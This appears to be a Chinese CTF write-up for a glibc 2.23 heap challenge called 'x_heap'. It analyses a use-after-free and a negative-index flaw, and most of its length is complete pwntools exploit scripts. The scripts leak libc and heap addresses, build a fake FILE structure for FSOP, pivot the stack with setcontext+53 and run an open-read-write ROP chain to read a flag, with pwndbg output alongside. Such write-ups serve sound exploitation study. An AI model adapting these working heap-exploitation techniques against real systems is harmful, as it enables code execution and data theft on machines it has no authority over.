x_heap
1 2 3 4 5 6
| ➜ 桌面 ./chall 1.add 2.delete 3.edit 4.show >
|
1 2 3 4 5 6 7
| chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a9ca4e5f4f591a5343f4c0d406006bde41b14d38, stripped [*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
64位,dynamically,全开
1
| GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio
|
1 2 3 4 5 6 7 8 9 10 11
| ➜ 桌面 seccomp-tools dump ./chall line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
|
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned __int64 delete() { int index; unsigned __int64 v2;
v2 = __readfsqword(0x28u); puts("which chunk you want to delete?"); scanf("%d", &index); if ( index < 0 || index > 7 ) { puts("index error."); } else if ( chunk_list[index] ) { free((void *)chunk_list[index]); puts("delete success."); } return __readfsqword(0x28u) ^ v2; }
|
申请模块:UAF漏洞,但这也意味着我们只能申请8个chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| unsigned __int64 edit() { int index; unsigned __int64 v2;
v2 = __readfsqword(0x28u); if ( edit_chance ) { puts("which chunk you want to edit?"); scanf("%d", &index); if ( index < 0 || index > 7 ) { puts("index error."); } else if ( chunk_list[index] ) { puts("content:"); read(0, (void *)chunk_list[index], size_list[index]); puts("edit success."); --edit_chance; } } else { puts("You can only edit twice."); } return __readfsqword(0x28u) ^ v2; }
|
修改模块:index 采用“int”类型,可以为负数(同时用整数溢出逃避检查)
入侵思路
程序限制点:
- 程序开了沙盒(掐掉了 execve),那么就只能打 ORW
- 申请模块限制了“size”大小,只能申请 largechunk
- 申请模块只能执行8次
- 修改模块和释放模块都只能执行2次
因为有UAF,所以 leak libc_base 很好办:
1 2 3 4 5 6 7 8 9 10
| add(0x410,'aaaa') add(0x410,'aaaa') delete(0) show(0)
p.recvuntil('content:\n') leak_addr=u64(p.recv(6).ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
|
接下来试试看 House Of Storm(这里我重新调整了一下 leak 的代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| add(0x428,'aaaa') add(0x428,'aaaa') add(0x418,'aaaa') add(0x418,'aaaa') delete(2) delete(0) show(2)
p.recvuntil('content:\n') leak_addr=u64(p.recv(6).ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
main_arena=libc_base+3952488 free_hook=libc_base+libc.sym['__free_hook'] success('free_hook >> '+hex(free_hook))
add(0x428,'aaaa') delete(4)
|
1 2 3 4
| unsortedbin all: 0x564cc7b72540 —▸ 0x7f2f65fd4b78 (main_arena+88) ◂— 0x564cc7b72540 largebins 0x400: 0x564cc7b72da0 —▸ 0x7f2f65fd4f68 (main_arena+1096) ◂— 0x564cc7b72da0
|
接下来就要进行修改:
- unsorted_chunk->BK => fake_chunk
- large_chunk->BK => fake_chunk+8
- large_chunk->BK_nextsize => fake_chunk-0x18-5
刚好用完程序的两次修改机会:
1 2 3 4 5 6 7 8 9
| main_arena1=libc_base+3951480 main_arena2=libc_base+3952488 payload1=p64(main_arena1)+p64(free_hook) payload2=p64(main_arena2)+p64(free_hook+8)+p64(0)+p64(free_hook-0x18-5)
edit(0,payload1) edit(2,payload2)
add(0x400,one_gadget)
|
这里我其实想偷懒,试试看不伪造 large_chunk->FD_nextsize 可不可行,结果报错了,只好老老实实泄露 heap_base 了
完成攻击后还是报错了(想不明白为什么),先挂一下 House Of Storm 的代码,以后熟悉 House Of Storm 了再慢慢看:(这个题目是开了沙盒的,所以用“one_gadget”肯定不行,但我这里懒得改了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
p=process('./chall') libc=ELF('./libc-2.23.so') elf=ELF('./chall')
def add(size,content): p.sendlineafter('> ',str(1)) p.sendlineafter('size:\n',str(size)) p.sendafter('content:\n',content) def delete(index): p.sendlineafter('> ',str(2)) p.sendlineafter('which chunk you want to delete?\n',str(index))
def edit(index,content): p.sendlineafter('> ',str(3)) p.sendlineafter('which chunk you want to edit?\n',str(index)) p.sendafter('content:\n',content)
def show(index): p.sendlineafter('> ',str(4)) p.sendlineafter('which chunk you want to show?\n',str(index))
add(0x428,'aaaa') add(0x428,'aaaa') add(0x418,'aaaa') add(0x418,'aaaa') delete(2) delete(0)
show(2) p.recvuntil('content:\n') leak_addr=u64(p.recv(6).ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
main_arena=libc_base+3952488 free_hook=libc_base+libc.sym['__free_hook'] malloc_hook=libc_base+libc.sym['__malloc_hook'] one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247] one_gadget=one_gadget_list[2]+libc_base success('free_hook >> '+hex(free_hook)) success('malloc_hook >> '+hex(malloc_hook))
show(0) p.recvuntil('content:\n') leak_addr=u64(p.recv(6).ljust(8,'\x00')) heap_base=leak_addr-3488 success('leak_addr >> '+hex(leak_addr)) success('heap_base >> '+hex(heap_base))
add(0x428,'aaaa') delete(4)
main_arena1=libc_base+3951480 main_arena2=libc_base+3952488 heap_addr=heap_base+3488 payload1=p64(main_arena1)+p64(malloc_hook) payload2=p64(main_arena2)+p64(malloc_hook+8)+p64(heap_addr)+p64(malloc_hook-0x18-5)
edit(0,payload1) edit(2,payload2) add(0x410,one_gadget)
p.interactive()
|
学长说这个题要用 FSOP 来打,刚好前几天整理的 IO pwn 中就有 FSOP,当时还没有进行题目练习,可以用这个题来练练手
以下代码就是我的第一次尝试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| from pwn import *
p=process('./chall') libc=ELF('./libc-2.23.so') elf=ELF('./chall')
context.arch = "amd64"
def add(size,content): p.sendlineafter('> ',str(1)) p.sendlineafter('size:\n',str(size)) p.sendafter('content:\n',content) def delete(index): p.sendlineafter('> ',str(2)) p.sendlineafter('which chunk you want to delete?\n',str(index))
def edit(index,content): p.sendlineafter('> ',str(3)) p.sendlineafter('which chunk you want to edit?\n',str(index)) p.sendafter('content:\n',content)
def show(index): p.sendlineafter('> ',str(4)) p.sendlineafter('which chunk you want to show?\n',str(index))
add(0x6b0,'hehehehe') add(0x428,'./flag\x00') delete(0)
show(0) p.recvuntil('content:\n') leak_addr=u64(p.recv(6).ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
main_arena=libc_base+3952488 system_libc=libc_base+libc.sym['system'] free_hook=libc_base+libc.sym['__free_hook'] malloc_hook=libc_base+libc.sym['__malloc_hook'] io_list_all=libc_base+libc.sym['_IO_list_all'] one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247] one_gadget=one_gadget_list[2]+libc_base success('free_hook >> '+hex(free_hook)) success('malloc_hook >> '+hex(malloc_hook)) success('io_list_all >> '+hex(io_list_all))
add(0x428,'a'*0x10) show(2)
p.recvuntil('content:\n') p.recvuntil('a'*16) leak_addr=u64(p.recv(6).ljust(8,'\x00')) heap_base=leak_addr-1344 success('leak_addr >> '+hex(leak_addr)) success('heap_base >> '+hex(heap_base))
pop_rax_ret=libc_base+0x000000000003a738 pop_rdi_ret=libc_base+0x0000000000021112 pop_rsi_ret=libc_base+0x00000000000202f8 pop_rdx_ret=libc_base+0x0000000000001b92 syscall_ret=libc_base+0x00000000000bc3f5
bss_addr=heap_base+0x18 flag_addr=heap_base+3088
orw = p64(pop_rax_ret) + p64(2) orw += p64(pop_rdi_ret) + p64(flag_addr) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rdx_ret) + p64(0) orw += p64(syscall_ret)
orw += p64(pop_rax_ret) + p64(0) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(bss_addr) orw += p64(pop_rdx_ret) + p64(0x60) orw += p64(syscall_ret)
orw += p64(pop_rax_ret) + p64(1) orw += p64(pop_rdi_ret) + p64(1) orw += p64(pop_rsi_ret) + p64(bss_addr) orw += p64(pop_rdx_ret) + p64(0x60) orw += p64(syscall_ret)
fake_file = '/bin/sh\x00'+p64(0x61) fake_file += p64(0)+p64(io_list_all-0x10) fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xc0,'\x00') fake_file += p64(0) * 3 fake_file += p64(heap_base+1360)
payload=p64(0)*3 + orw
payload= payload.ljust(0x420-0x10,'\x00') payload= payload + fake_file
delete(2) add(0x410,'aaaa')
edit(0,payload)
p.sendlineafter('> ',str(1)) p.sendlineafter('size:\n',str(1040))
p.interactive()
|
先说一下我的思路吧:
- 我先想到了 house of orange 后半节的 FSOP 攻击,于是进行了模仿
- 用 unsortedbin attack 在 io_list_all 上写入 main_arena + 88
- 在利用堆风水,成功构造出 heap overlappling,改写 unsorted chunk-> size 为“0x61”
- 那么程序就将会把 unsorted chunk 识别为 small chunk,并且会把其当做 FILE 结构体
- 接下来就在 fake small chunk 中伪造 FILE 结构体,把 vtable 字段写入 ORW 的地址
需要注意的地方:
- 堆风水是关键,需要先申请一个大chunk,释放掉,然后再次申请它(这次申请的size要小一些),这样就可以造成堆溢出
- 其次就是伪造 FILE 结构体的时候,需要保证 unsortedbin 中只有一个chunk(这个chunk将会被修改“size”),不然就会报错
- 当成功劫持 io_list_all 后,会执行 fake vtable 中的
_IO_OVERFLOW
(详情请了解FSOP),可以把它覆盖为我们需要执行的任何函数,而它会把“fake small chunk-> presize”当成它的第一个参数(我直接在这里写上了“/bin/sh”)
但这个exp有很明显的问题:
- ORW链是写在堆上的,根本控制不了栈上的数据(我当时竟然没有发现?!)
接下来就需要利用 setcontext 来控制 RSP 了,先看看 setcontext 的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| .text:0000000000047B40 ; __unwind { .text:0000000000047B40 push rdi .text:0000000000047B41 lea rsi, [rdi+128h] ; nset .text:0000000000047B48 xor edx, edx ; oset .text:0000000000047B4A mov edi, 2 ; how .text:0000000000047B4F mov r10d, 8 ; sigsetsize .text:0000000000047B55 mov eax, 0Eh .text:0000000000047B5A syscall ; LINUX - sys_rt_sigprocmask .text:0000000000047B5C pop rdi .text:0000000000047B5D cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000047B63 jnb short loc_47BC0 .text:0000000000047B65 mov rcx, [rdi+0E0h] .text:0000000000047B6C fldenv byte ptr [rcx] .text:0000000000047B6E ldmxcsr dword ptr [rdi+1C0h] .text:0000000000047B75 mov rsp, [rdi+0A0h] .text:0000000000047B7C mov rbx, [rdi+80h] .text:0000000000047B83 mov rbp, [rdi+78h] .text:0000000000047B87 mov r12, [rdi+48h] .text:0000000000047B8B mov r13, [rdi+50h] .text:0000000000047B8F mov r14, [rdi+58h] .text:0000000000047B93 mov r15, [rdi+60h] .text:0000000000047B97 mov rcx, [rdi+0A8h] .text:0000000000047B9E push rcx .text:0000000000047B9F mov rsi, [rdi+70h] .text:0000000000047BA3 mov rdx, [rdi+88h] .text:0000000000047BAA mov rcx, [rdi+98h] .text:0000000000047BB1 mov r8, [rdi+28h] .text:0000000000047BB5 mov r9, [rdi+30h] .text:0000000000047BB9 mov rdi, [rdi+68h] .text:0000000000047BB9 ; } .text:0000000000047BBD ; __unwind { .text:0000000000047BBD xor eax, eax .text:0000000000047BBF retn
|
注意这一句:
发现这个函数可以根据 rdi
来控制 rsp
,而 rdi
可以被我们控制
但也需要注意这两句:
1 2
| .text:0000000000047B97 mov rcx, [rdi+0A8h] .text:0000000000047B9E push rcx
|
这个 push 会扰乱我们的ROP链,把 rcx
作为新的栈顶(这里坑了我好多次)
不多说了,先看看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| from pwn import *
p=process('./chall') libc=ELF('./libc-2.23.so') elf=ELF('./chall')
context.arch = "amd64"
def add(size,content): p.sendlineafter('> ',str(1)) p.sendlineafter('size:\n',str(size)) p.sendafter('content:\n',content) def delete(index): p.sendlineafter('> ',str(2)) p.sendlineafter('which chunk you want to delete?\n',str(index))
def edit(index,content): p.sendlineafter('> ',str(3)) p.sendlineafter('which chunk you want to edit?\n',str(index)) p.sendafter('content:\n',content)
def show(index): p.sendlineafter('> ',str(4)) p.sendlineafter('which chunk you want to show?\n',str(index))
add(0x6b0,'hehehehe') add(0x428,'./flag\x00') delete(0)
show(0) p.recvuntil('content:\n') leak_addr=u64(p.recv(6).ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
main_arena=libc_base+3952488 system_libc=libc_base+libc.sym['system'] free_hook=libc_base+libc.sym['__free_hook'] malloc_hook=libc_base+libc.sym['__malloc_hook'] io_list_all=libc_base+libc.sym['_IO_list_all'] setcontext=libc_base+libc.sym['setcontext'] one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247] one_gadget=one_gadget_list[2]+libc_base success('free_hook >> '+hex(free_hook)) success('malloc_hook >> '+hex(malloc_hook)) success('io_list_all >> '+hex(io_list_all)) success('setcontext >> '+hex(setcontext))
add(0x428,'a'*0x10) show(2)
p.recvuntil('content:\n') p.recvuntil('a'*16) leak_addr=u64(p.recv(6).ljust(8,'\x00')) heap_base=leak_addr-1344 success('leak_addr >> '+hex(leak_addr)) success('heap_base >> '+hex(heap_base))
pop_rax_ret=libc_base+0x000000000003a738 pop_rdi_ret=libc_base+0x0000000000021112 pop_rsi_ret=libc_base+0x00000000000202f8 pop_rdx_ret=libc_base+0x0000000000001b92 syscall_ret=libc_base+0x00000000000bc3f5
bss_addr=heap_base+0x18 flag_addr=heap_base+3088 orw_addr=heap_base+1392
orw = p64(pop_rax_ret) + p64(2) orw += p64(pop_rdi_ret) + p64(flag_addr) orw += p64(pop_rsi_ret) + p64(0) orw += p64(pop_rdx_ret) + p64(0) orw += p64(syscall_ret)
orw += p64(pop_rax_ret) + p64(0) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(bss_addr) orw += p64(pop_rdx_ret) + p64(0x60) orw += p64(syscall_ret)
orw += p64(pop_rax_ret) + p64(1) orw += p64(pop_rdi_ret) + p64(1) orw += p64(pop_rsi_ret) + p64(bss_addr) orw += p64(pop_rdx_ret) + p64(0x60) orw += p64(syscall_ret)
frame_rsp=orw_addr+8 frame_rcx=pop_rax_ret frame = p64(frame_rsp) frame += p64(frame_rcx)
fake_file = '/bin/sh\x00'+p64(0x61) fake_file += p64(0)+p64(io_list_all-0x10) fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xa0,'\x00') fake_file += p64(frame_rsp) fake_file += p64(frame_rcx) fake_file = fake_file.ljust(0xc0,'\x00') fake_file += p64(0) * 3 fake_file += p64(heap_base+1360)
payload=p64(0)*3 + p64(setcontext+53) + orw payload= payload.ljust(0x420-0x10,'\x00') payload= payload+fake_file
delete(2) add(0x410,'aaaa') edit(0,payload)
p.sendlineafter('> ',str(1)) p.sendlineafter('size:\n',str(1040))
p.interactive()
|
这里说明一下 setcontext 的使用:
这里我选择把 setcontext 写入 fake vtable->_IO_OVERFLOW 中 ,执行 setcontext 时,rdi
寄存器就会指向“fake small chunk-> presize”所在的地址,而我提前在 rdi+0xa0
和 rdi+0xa8
的位置布置好 fake rsp
和 fake rcx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> telescope 0x55b7807e5960 00:0000│ 0x55b7807e5960 ◂— 0x68732f6e69622f 01:0008│ 0x55b7807e5968 ◂— 0x61 02:0010│ 0x55b7807e5970 ◂— 0x0 03:0018│ 0x55b7807e5978 —▸ 0x7f11a54eb510 ◂— 0x0 04:0020│ 0x55b7807e5980 ◂— 0x0 05:0028│ 0x55b7807e5988 ◂— 0x1 06:0030│ 0x55b7807e5990 ◂— 0x0 07:0038│ 0x55b7807e5998 ◂— 0x0 08:0040│ 0x55b7807e59a0 ◂— 0x0 ... ↓ 7 skipped 10:0080│ 0x55b7807e59e0 ◂— 0x0 ... ↓ 3 skipped 14:00a0│ 0x55b7807e5a00 —▸ 0x55b7807e5578 ◂— 0x2 15:00a8│ 0x55b7807e5a08 —▸ 0x7f11a5160738 (mblen+104) ◂— pop rax 16:00b0│ 0x55b7807e5a10 ◂— 0x0 17:00b8│ 0x55b7807e5a18 ◂— 0x0 18:00c0│ 0x55b7807e5a20 ◂— 0x0 ... ↓ 2 skipped 1b:00d8│ 0x55b7807e5a38 —▸ 0x55b7807e5550 ◂— 0x0
|
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> telescope 0x55b7807e5550 00:0000│ 0x55b7807e5550 ◂— 0x0 ... ↓ 2 skipped 03:0018│ 0x55b7807e5568 —▸ 0x7f11a516db85 (setcontext+53) ◂— mov rsp, qword ptr [rdi + 0xa0] 04:0020│ 0x55b7807e5570 —▸ 0x7f11a5160738 (mblen+104) ◂— pop rax 05:0028│ 0x55b7807e5578 ◂— 0x2 06:0030│ 0x55b7807e5580 —▸ 0x7f11a5147112 (iconv+194) ◂— pop rdi 07:0038│ 0x55b7807e5588 —▸ 0x55b7807e5c10 ◂— 0x67616c662f2e 08:0040│ 0x55b7807e5590 —▸ 0x7f11a51462f8 (init_cacheinfo+40) ◂— pop rsi 09:0048│ 0x55b7807e5598 ◂— 0x0 0a:0050│ 0x55b7807e55a0 —▸ 0x7f11a5127b92 ◂— pop rdx
|
现在 rsp
将会指向 fake vtable -> _IO_OVERFLOW(ORW的头部),之后就可以顺利读出 flag 了
小结
这个题目花了我很长的时间,我也学习到了 FSOP,堆上ORW,甚至是 House Of Storm(虽然没有成功)
在进行 FSOP 时,我的堆布局前前后后被改了十几次,因为这是我第一次尝试 FSOP 没有什么经验,所以我所有的操作都是以 House Of Orange 为模板进行修改的,当时很苦恼,因为报错了也不知道原因,只能盲目的模仿,好在最后还是模仿出来了
进行FSOP攻击后,我可以执行libc中的函数,但就是执行不了我的ORW链,后来发现我把ORW链写在堆中,需要栈迁移来调整栈空间,最后在学长的帮助下我了解到了 setcontext 函数,分析其源码过后,成功利用它执行了ORW链
PS:其实最开始我以为这题需要用到 largebin attack 的知识(比如:House Of Storm),所以我也去学了一下